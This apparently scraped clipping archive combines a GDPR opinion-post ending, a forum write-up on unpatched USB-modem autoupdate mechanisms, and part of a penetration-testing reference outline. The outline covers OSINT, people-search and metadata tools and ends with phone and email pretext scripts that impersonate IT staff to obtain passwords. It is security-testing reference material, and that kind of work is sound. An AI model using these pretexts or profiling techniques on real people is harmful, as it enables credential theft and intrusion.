those who work for the ICO\) circle back to reasonableness when assessing a
justification for personal data processing and associated risks. For example:

**_You know what the privacy notice says vs the data handling reality_**

> If it was your data, would the privacy notice feel easy to understand and
> transparent about this data use?
> If it was your data, would this data collection, processing, and sharing
> feel fair and proportionate relative to the declared purpose?
_**You know the data security risks and control reality**_

> If it was your data, would the security controls in place feel appropriate,
> and adequate to mitigate unacceptable risk to you, your family, and your
> contacts?
_**You know the justification provided for processing and you know how that
might impact data subjects**_

> If it was your data, would the stated organisational interests feel like
> they outweigh all of the things that could go personally wrong?
As with all else, in the end, it comes down to managing risks, only this time,
on behalf of data subjects.  
<img src='img/psbd22-e1516888537573-1024x323.jpg' width='1991' height='628'
/>Then, moving forwards, it’s about infiltrating the bright ideas factories to
hard-wire consideration of required data protection and security control.
That, at base, is the whole ballgame**: \(PSbD\)2….a.k.a privacy and security
by default and design.** Something we can influence organisational culture to
respect, but it’s going to take huge amounts of effort and time. Lots and lots
and lots of time.**  
**  

* * *
## 2\. More myths and misconceptions \(coming soon\)

  * Encryption is essential and/or negates the need to apply other controls
  * ISO27001 certification = GDPR compliance
  * Existing security related risk management is fit for privacy purposes
  * Pseudonymisation or Anonymisation negates the need for compliance with GDPR requirements
  * A personal data breach will result in GDPR related fines
  * Privacy is dead, so why bother?

* * *
Apologies to regular readers for the time it took to publish this. Content was
kindly reviewed by a legal expert with specific focus on technology and
privacy law. However, nothing here should be viewed as legal advice. Please
refer to your own advisors before basing any decisions on content.

Opinion: Morrisons, vicarious liability, and risk management realityNovember
23, 2018In "Corporate Data Protection & GDPR"

Opinion: The role of automated data discovery in a GDPR programmeJune 15,
2017In "Corporate Data Protection & GDPR"

Facebook and Cambridge Analytica - It's Pandora's box, it's open, but it's
been open for a whileMarch 23, 2018In "Featured"

 Categories: Corporate Security, Featured, InfoSec, Privacy and GDPR

Tagged as: compliance, CyberSecurity, data protection, data protection impact
assessment, DPIA, Encryption, GDPR, Information Security, ISO27001, Privacy,
risk management

# US 13 Quynh OptiROP - Proposal

**Created:**| _10/4/2013 7:33:47 AM_  
---|---  
**Updated:**| _10/4/2013 7:34:14 AM_  
**Author:**| _wishi_  
**Tags:**| _papers llvm rop SMT_  
  
<img src='img/US-13-Quynh-OptiROP-Hunting-for-ROP-Gadgets-in-Style-WP.pdf' />

# Garage4hackers Forum - SMS to Shell: Fuzzing USB Internet Modems : Analysis
of Autoupdate features

**Created:**| _8/6/2013 9:28:51 AM_  
---|---  
**Updated:**| _8/6/2013 9:28:51 AM_  
**Author:**| __  
**Tags:**| _USB vulnerability bughunting Firmware_  
  

# **S** MS to Shell: Fuzzing USB Internet Modems : Analysis of Autoupdate
features****

This is a continuation from my previous\(main\) blog post
http://www.garage4hackers.com/blogs/..**.** t-modems-1082/  where I explained
the security issues with USB internet modems. And this is a second part where
I would dissect the autoupdate feature of these devices, mainly because we
noticed that the costumers were never getting security updates**.** I will be
sending this blog post along with a request to push patches there costumers to
the various vendors here in India**.** Also am making few of my emails with
the vendors public **.**

<img src='img/Temp2_3431.jpg' />

So here is how it all started . Based on my research  on USB internet modems,
I was able to find some bugs in Huawei USB modems client and disgisol
\(3Gconnect\) client applications **.** I reported one minor issues to huawei
on Jan 29 2013 and disgisol I was never able to find a security response
service**.**  
  
Huawai was the company that build the application but the product was marketed
and sold under Idea's  banner**.** At first I never got any response from
Huawei other than an automated replay**.** But later they sent a separate mail
with the following content to my alternate email asking for more details**.**

<img src='img/Temp2_3434.jpg' />

My responses were kind of slow as I was out of country and the test cases were
back at home**.** Any way I was glad that they got back to me before the
presentation , so we had couple of email exchanges discussing the issue and
Huawei confirming the bugs**.**

<img src='img/Temp2_3440.jpg' />

**_Any way Huawei was very keen in finding more bugs and fixing there
products, so many thanks to them and I could not find a security response
service for disgisol**.**_** My discussion\(with Huawei\) turned out
productive and this is what there team concluded**.**

<img src='img/Temp2_3437.jpg' />

So seems like the local vendors, IDea, Reliance, Tata etc who uses Huawei has
not pushed these patches to there costumers even though these bugs were fixed
in 2011, weird right <img src='img/Temp2_3439.jpg' /> **.** So there is no
point me sharing more bugs to Huewai as there seems to be no way for them to
update the device users with these patches**.**  
  
So in this blog post I will examine how each device vendors in India handles
there Modem dialer updates**.** I am only referring to vendor who uses Huawei
\(Mobile Partner\) or Digisol 3G connect**.**  
  
Status of Vendors Using Huawei Mobile Partner**.** So here Huawei does not
have an autoupdate for Mac Osx versions but for windows versions there is an
auto update mechanism but the users never get any updates**.**  
  
_**Vendor Status of \( Huawei Mobile Partner\) :  
**_

<img src='img/Temp2_3436.jpg' />

Note: I myself have verified only Idea netsetter, the rest of the information
was provided by volunteers **.** A detail analysis of idea netsetter is at
Appendix 1  
  
_**Vendor Status of \( Disgisol Mobile Partner\) :  
**_

<img src='img/Temp2_3430.jpg' />

_**Appendix 1:  
**_  
_Analysis  
_  
_**Idea Netsetter \( Huawei Mobile Partner\)  
**_  
_Mac OSX:  
_  
  
The mac version of Idea netsetter did not had an autoupdate feature**.** I
verified this by dis-assembling the apps and looking for traces of an update
feature**.** I would be requesting the vendors to add this option to the
device**.**  
  
_Windows_  
  
A feature to update the device was present , the code was located at
C:\Program Files\Idea Net Setter\UpdateDog**.**  
A user could trigger the update by clicking Netsetter\_app --> Help -->
Update**.** The update configuration file is located at C:\Program Files\Idea
Net Setter\UpdateDog\UpdateInfo.dat  
  
<img src='img/Temp2_3432.jpg' />

<img src='img/Temp2_3438.jpg' />

What I noticed that no updates comes from the server even if a user prompts
for an update**.** The following is the request sent to the server when a user
clicks "Online Update" from an outdated application**.** And server responds
back with Status 1. This means no update is available for the client**.** I
verified this behaviour by both static\(reversing\) and dynamic analysis**.**

<img src='img/Temp2_3433.jpg' />

Fetch Update request:

Code:

[code]

    POST /india/UrlCommand/CheckNewVersion.aspx HTTP/1**.** 1
    Content-Type: text/xml
    Content-Length: 533
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Accept-Language: en-US,*
    User-Agent: Mozilla/5**.** 0
    Host: update-india.huaweidevice.com:80
    
    <**?** xml version="1.0" encoding="utf-8"?>
    <root>
    <rule name="DashBoard">21.005**.** 0.00.356</rule>
    <rule name="Language">English</rule>
    <rule name="Network">tele.ring</rule>
    <rule name="OS">Windows XP</rule>
    <rule name="DashBoardFlash">21**.** 005.11.00**.** 356</rule>
    <rule name="DeviceName">E1732</rule>
    <rule name="FirmWare">11**.** 126**.** 16.01.356</rule>
    <rule name="HardWare">CD1E153M</rule>
    <rule name="IMEI">HEX:529049F1F1BBE9EB97F8618B39983EFB4827209DE2F0F35F</rule>
    <rule name="IMSI">HEX:2923BE84E16CD6AE03FC8B0CB3EC2002</rule>
    </root>
[/code]

Here XML rule name DashBoard and DashBoardFlash is the current version number,
so I manually tried to reproduce the request by changing the version to a
lower version, and I was getting the same status from the server , "Status 1:
No update available"**.**

<img src='img/Temp2_3435.jpg' />

**_Bsnl, Airtel 3Gconnect \( disgisol \)  
_**  
No Update Mechanism was found on Mac Osx applications**.**  
  
  
_**Reliance Net Connect powered by :Ztems  
**_  
  
Info provided by : Parul Khanna  
  
This application had an auto update which was getting updates form
http://upgrade.ztems.com/UpdateEntry.aspx  **.** And the servers update
management for open for the public, which I believe is not necessary**.**

<img src='img/Temp2_3429.jpg' />

__This section would be updated with more info on each device drivers and
there update mechanism as soon as I get more info from individual volunteers
using those products**.**  
__  
  
__I would be sending a request mail to the vendors today, asking for update or
necessary procedures**.**  
__  
  
Regards.  
  
Reach out to me at https://twitter.com/fb1h2s  This article was originally
published in blog: SMS to Shell: Fuzzing USB Internet Modems : Analysis of
Autoupdate features  started by fb1h2s  ****

# Penetration Testing Framework 0.58

**Created:**| _12/8/2011 3:38:44 PM_  
---|---  
**Updated:**| _12/8/2011 3:38:44 PM_  
**Author:**| __  
**Tags:**| _pentest_  
  

  * Network Footprinting \(Reconnaissance\) The tester would attempt to gather as much information as possible about the selected network. Reconnaissance can take two forms i.e. active and passive. A passive attack is always the best starting point as this would normally defeat intrusion detection systems and other forms of protection etc. afforded to the network. This would usually involve trying to discover publicly available information by utilising a web browser and visiting newsgroups etc. An active form would be more intrusive and may show up in audit logs and may take the form of an attempted DNS zone transfer or a social engineering type of attack. 
    * <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/icons/full-1.png' alt='full-1' />
Whois is widely used for querying authoritative registries/ databases to
discover the owner of a domain name, an IP address, or an autonomous system
number of the system you are targeting.

      * Authoratitive Bodies
        * IANA - Internet Assigned Numbers Authority  <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
        * ICANN - Internet Corporation for Assigned Names and Numbers. <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
        * NRO - Number Resource Organisation <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
        * RIR - Regional Internet Registry 
          * AFRINIC - African Network Information Centre <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * APNIC - Asia Pacific Network Information Centre <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * National Internet Registry
              * APJII <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
              * CNNIC <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
              * JPNIC <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
              * KRNIC <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
              * TWNIC <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
              * VNNIC <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * ARIN - American Registry for Internet Numbers <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * LACNIC - Latin America & Caribbean Network Information Centre <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * RIPE - Reseaux IP Européens—Network Coordination Centre <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
      * Websites
        * Central Ops <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Domain Dossier
          * Email Dossier
        * DNS Stuff <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Online DNS one-stop shop, with the ability to perform a great deal of disparate DNS type queries.
        * Fixed Orbit <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Autonomous System lookups and other online tools available.
        * Geektools <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
        * IP2Location <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Allows limited free IP lookups to be performed, displaying geolocation information, ISP details and other pertinent information. 
        * Kartoo <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Metasearch engine that visually presents its results.
        * MyIPNeighbors.com <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Excellent site that gives you details of shared domains on the IP queried/ conversely IP to DNS resolution
        * My-IP-Neighbors.com <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Excellent site that can be used if the above is down
        * myipneighbors.net <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
        * Netcraft <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Online search tool allowing queries for host information.
        * Passive DNS Replication <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Finds shared domains based on supplied IP addresses
          * Note: - Website utilised by nmap hostmap.nse script
        * Robtex <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Excellent website allowing DNS and AS lookups to be performed with a graphical display of the results with pointers, A, MX records and AS connectivity displayed.
          * Note: - Can be unreliable with old entries \(Use CentralOps to verify\)
        * Traceroute.org <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Website listing a large number links to online traceroute resources.
        * Wayback Machine <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Stores older versions of websites, making it a good comparison tool and excellent resource for previously removed data.
        * Whois.net <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
      * Tools
        * Cheops-ng <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
        * Country whois <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
        * Domain Research Tool <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
        * Firefox Plugins
          * AS Number <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Shazou <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Firecat Suite <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
        * Gnetutil <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
        * Goolag Scanner <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
        * Greenwich <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
        * Maltego <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
        * GTWhois <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
        * Sam Spade <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
        * Smart whois <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
        * SpiderFoot <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
    * <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/icons/full-2.png' alt='full-2' />
Internet Search

      * General Information
        * Web Investigator <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
        * Tracesmart <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
        * Friends Reunited <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
        * Ebay - profiles etc. <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
      * Financial
        * EDGAR - Company information, including real-time filings. US <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
        * Google Finance - General Finance Portal <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
        * Hoovers - Business Intelligence, Insight and Results. US and UK <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
        * Companies House UK <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
        * Land Registry UK <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
      * Phone book/ Electoral Role Information
        * 123people <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * http://www.123people.co.uk/s/firstname+lastname/world
        * 192.com <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Electoral Role Search. UK
        * 411 <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Online White Pages and Yellow Pages. US
        * Abika 
<img src='http://www.vulnerabilityassessment.co.uk/Penetration
Test.html_files/ilink.png' alt='User Link' />

          * Background Check, Phone Number Lookup, Trace email, Criminal record, Find People, cell phone number search, License Plate Search. US
        * BT.com. UK
          * Residential <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Business <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
        * Pipl <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * http://pipl.com/search/?FirstName=????&LastName=????&City=&State=&Country=UK&CategoryID=2&Interface=1 
          * http://pipl.com/search/?Email=john%40example.com&CategoryID=4&Interface=1
          * http://pipl.com/search/?Username=????&CategoryID=5&Interface=1
        * Spokeo <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * http://www.spokeo.com/user?q=domain\_name
          * http://www.spokeo.com/user?q=email\_address
        * Yasni <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * http://www.yasni.co.uk/index.php?action=search&search=1&sh=&name=firstname+lastname&filter=Keyword
        * Zabasearch <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * People Search Engine. US
      * Generic Web Searching
        * Code Search <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
        * Forum Entries
        * Google Hacking Database <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
        * Google
          * Back end files
            * .exe / .txt / .doc / .ppt / .pdf / .vbs / .pl / .sh / .bat / .sql / .xls / .mdb / .conf
          * Email Addresses
          * Contact Details
        * Newsgroups/forums
        * Blog Search
          * Yammer <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Google Blog Search <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * http://blogsearch.google.com/blogsearch?hl=en&ie=UTF-8&q=????&btnG=Search+Blogs
          * Technorati <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * http://technorati.com/search/\[query\]?language=n
          * Jaiku <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Present.ly <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Twitter Network Browser <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
        * Search Engine Comparison/ Aggregator Sites
          * Clusty <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * http://clusty.com/search?input-form=clusty-simple&v%3Asources=webplus&query=????
          * Grokker <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * http://live.grokker.com/grokker.html?query=?????&OpenSearch\_Yahoo=true&Wikipedia=true&numResults=250
          * Zuula <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * http://www.zuula.com/SearchResult.jsp?bst=1&prefpg=1&st=????&x=0&y=0
          * Exalead <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * http://www.exalead.co.uk/search/results?q=????&x=0&y=0&%24mode=allweb&%24searchlanguages=en 
          * Delicious <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * http://delicious.com/search?p=?????&u=&chk=&context=&fr=del\_icio\_us&lc=0
      * Metadata Search
        * Metadata can be found within various file formats. Dependant on the file types to be inspected, the more metadata can be extracted. Example metadata that can be extracted includes valid usernames, directory structures etc. make the review of documents/ images etc. relating to the target domain a valuable source of information. 
          * MetaData Visualisation Sites
            * TouchGraph Google Browser <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * Kartoo <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Tools
            * Bashitsu <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
              * svn checkout http://bashitsu.googlecode.com/svn/trunk/
              * cat filename | strings | bashitsu-extract-names
            * Bintext <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * Exif Tool <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
              * exiftool -common directory
              * exiftool -r -w .txt -common directory
            * FOCA
              * Online Version <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
              * Offline <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * Hachoir <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * Infocrobes <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * Libextractor <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
              * extract -b filename
              * extract filename
              * extract -B country\_code filename
            * Metadata Extraction Tool <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
              * extract.bat <arg1> <arg2> <arg3>
            * Metagoofil <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
              * metagoofil -d target\_domain -l max\_no\_of\_files -f all \( or pdf,doc,xls,ppt\) -o output\_file.html -t directory\_to\_download\_files\_to
            * OOMetaExtractor <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * The Revisionist <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
              * ./therev '' @/directory
              * ./therev '' site.com
              * ./therev 'linux' microsoft.com en
            * Wvware <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Wikipedia Metadata Search
            * Wikiscanner <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * Wikipedia username checker <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
      * Social/ Business Networks
        * The following sites are some of many social and business related networking entities that are in use today. Dependant on the interests of the people you are researching it may be worth just exploring sites that they have a particular penchant based on prior knowledge from open source research, company biographies etc. i.e. Buzznet if they are interested in music/ pop culture, Flixter for movies etc. 
Finding a persons particular interests may make a potential client side attack
more successful if you can find a related "hook" in any potential "spoofed"
email sent for them to click on \(A Spearphishing technique\)

Note: - This list is not exhaustive and has been limited to those with over 1
million members.

          * Africa
            * BlackPlanet <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Australia
            * Bebo <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Belgium
            * Netlog <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Holland
            * Hyves <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Hungary
            * iWiW <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Iran
            * Cloob <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Japan
            * Mixi <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Korea
            * CyWorld <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Poland
            * Grono <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * Nasza-klasa <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Russia
            * Odnoklassniki <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * Vkontakte <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Sweden
            * LunarStorm <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * UK
            * FriendsReunited et al <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * Badoo <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * FaceParty <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * US
            * Classmates <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * Facebook <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * Friendster <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * MyLife.com \(formerly Reunion.com\) <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * MySpace <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * Windows Live Spaces <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
          * Assorted
            * Buzznet <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * Care2 <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * Habbo <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * Hi5 <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * Linkedin <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * MocoSpace <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * Naymz <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * Orkut <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * Passado <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * Tagged <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * Twitter <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * Windows Live Spaces <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * Xanga <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * Yahoo\! 360° <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
            * Xing <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
              * http://www.xing.com/app/search?op=universal&universal=????
      * Resources
        * OSINT <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
        * International Directory of Search Engines <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
    * <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/icons/full-3.png' alt='full-3' />
DNS Record Retrieval from publically available servers

      * Types of Information Records
        * SOA Records - Indicates the server that has authority for the domain.
        * MX Records - List of a host’s or domain’s mail exchanger server\(s\).
        * NS Records - List of a host’s or domain’s name server\(s\).
        * A Records - An address record that allows a computer name to be translated to an IP address. Each computer has to have this record for its IP address to be located via DNS.
        * PTR Records - Lists a host’s domain name, host identified by its IP address.
        * SRV Records - Service location record.
        * HINFO Records - Host information record with CPU type and operating system.
        * TXT Records - Generic text record.
        * CNAME - A host’s canonical name allows additional names/ aliases to be used to locate a computer.
        * RP - Responsible person for the domain.
      * Database Settings
        * Version.bind
        * Serial
        * Refresh
        * Retry
        * Expiry
        * Minimum
      * Sub Domains
      * Internal IP ranges
        * Reverse DNS for IP Range
      * Zone Transfer
    * <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/icons/full-5.png' alt='full-5' />
Social Engineering

      * Remote
        * Phone
          * Scenarios
            * IT Department."Hi, it's Zoe from the helpdesk. I am doing a security audit of the networkand I need to re-synchronise the Active Directory usernames and passwords.This is so that your logon process in the morning receives no undue delays"If you are calling from a mobile number, explain that the helpdesk has beenissued a mobile phone for 'on call' personnel.
          * Results
          * Contact Details
            * Name
            * Phone number
            * Email
            * Room number
            * Department
            * Role
        * Email
          * Scenarios
            * Hi there, I am currently carrying out an Active Directory Health Checkfor TARGET COMPANY and require to re-synchronise some outstandingaccounts on behalf of the IT Service Desk. Please reply to medetailing the username and password you use to logon to your desktopin the morning. I have checked with MR JOHN DOE, the IT SecurityAdvisor and he has authorised this request. I will then populate thedatabase with your account details ready for re-synchronisation withActive Directory such that replication of your account will bere-established \(this process is transparent to the user and sorequires no further action from yourself\). We hope that this exercisewill reduce the time it takes for some users to logon to the network.Best Regards, Andrew Marks
